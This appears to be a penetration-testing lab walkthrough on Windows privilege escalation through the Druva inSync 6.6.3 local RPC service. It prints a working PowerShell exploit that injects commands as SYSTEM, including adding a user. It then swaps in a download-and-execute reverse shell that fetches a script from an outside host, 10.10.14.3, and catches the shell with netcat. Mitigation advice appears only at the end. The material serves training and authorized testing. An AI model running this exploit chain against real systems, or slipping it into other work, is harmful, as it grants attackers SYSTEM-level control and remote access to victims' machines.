Keyboard shortcuts

Press โ† or โ†’ to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

๐Ÿ  Back to Blog

Windows Privilege Escalation โ€” Vulnerable Third-Party Services

Even a well-patched, well-configured Windows system can still be escalated through user-installed software or vulnerable third-party applications/services โ€” common on workstations where users are permitted local installs. Depending on the flaw, these can yield SYSTEM-level code execution, a denial-of-service condition, or disclosure of sensitive data (e.g., configuration files containing credentials). Always enumerate installed software on a new foothold, since this attack surface is often overlooked compared to native Windows misconfigurations.

Enumerating Installed Programs

C:\htb> wmic product get name

Name
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910
VMware Tools
Druva inSync 6.6.3
Microsoft Update Health Tools

Most entries look like standard OS/runtime components, but Druva inSync 6.6.3 stands out. A quick search reveals this version is vulnerable to a command injection via an exposed RPC service โ€” Druva inSync is backup/eDiscovery/compliance software whose client runs as NT AUTHORITY\SYSTEM, with a locally-listening RPC service that can be abused to execute arbitrary commands.

Confirming the Service

Check for the listening RPC port with netstat:

C:\htb> netstat -ano | findstr 6064

  TCP    127.0.0.1:6064         0.0.0.0:0              LISTENING       3324

Map the PID back to its process:

PS C:\htb> get-process -Id 3324

ProcessName
-----------
inSyncCPHwnet64

Confirm the service is running:

PS C:\htb> get-service | ? {$_.DisplayName -like 'Druva*'}

Status   Name               DisplayName
------   ----               -----------
Running  inSyncCPHService   Druva inSync Client Service

Exploiting the RPC Service (Druva inSync Local Privilege Escalation)

The public PoC speaks a small custom protocol to the RPC listener on 127.0.0.1:6064 (header, RPC type, command length, then the command itself as UTF-16), executing an attacker-supplied command via cmd.exe as SYSTEM:

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

Getting a SYSTEM Reverse Shell Instead of Adding a User

Adding a local admin is noisy and modifies the clientโ€™s system state, which is best avoided where possible. Instead, swap $cmd to download and run a PowerShell reverse shell in memory:

  1. Prep the reverse shell script โ€” download Invoke-PowerShellTcp.ps1, rename to shell.ps1, and append:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9443
  1. Update the PoCโ€™s $cmd to fetch and execute it in memory:
$cmd = "powershell IEX(New-Object Net.Webclient).downloadString('http://10.10.14.3:8080/shell.ps1')"
  1. Host the script:
rnemeth@htb[/htb]$ python3 -m http.server 8080
  1. Start a listener, bypass the execution policy on target, and run the modified PoC:
rnemeth@htb[/htb]$ nc -lvnp 9443
PS C:\htb> Set-ExecutionPolicy Bypass -Scope Process
  1. Catch the SYSTEM shell:
rnemeth@htb[/htb]$ nc -lvnp 9443

listening on [any] 9443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.7] 58611

PS C:\WINDOWS\system32> whoami
nt authority\system

Takeaways

  • Always enumerate installed software (wmic product get name) on new Windows footholds โ€” third-party/vendor applications are frequently less hardened than the OS itself.
  • Cross-reference installed application names/versions against public vulnerability databases/PoCs.
  • Locally-listening, unauthenticated RPC/IPC services (confirm with netstat + Get-Process/Get-Service) are a common vector for third-party privesc, especially when the backing service runs as SYSTEM.
  • Prefer a reverse shell over account creation to minimize noise/impact during engagements; always confirm scope with the client before modifying system state (e.g., adding users).
  • Mitigations: restrict local admin rights on end-user machines (least privilege), use application allowlisting to prevent installation of unvetted software, and keep third-party software patched.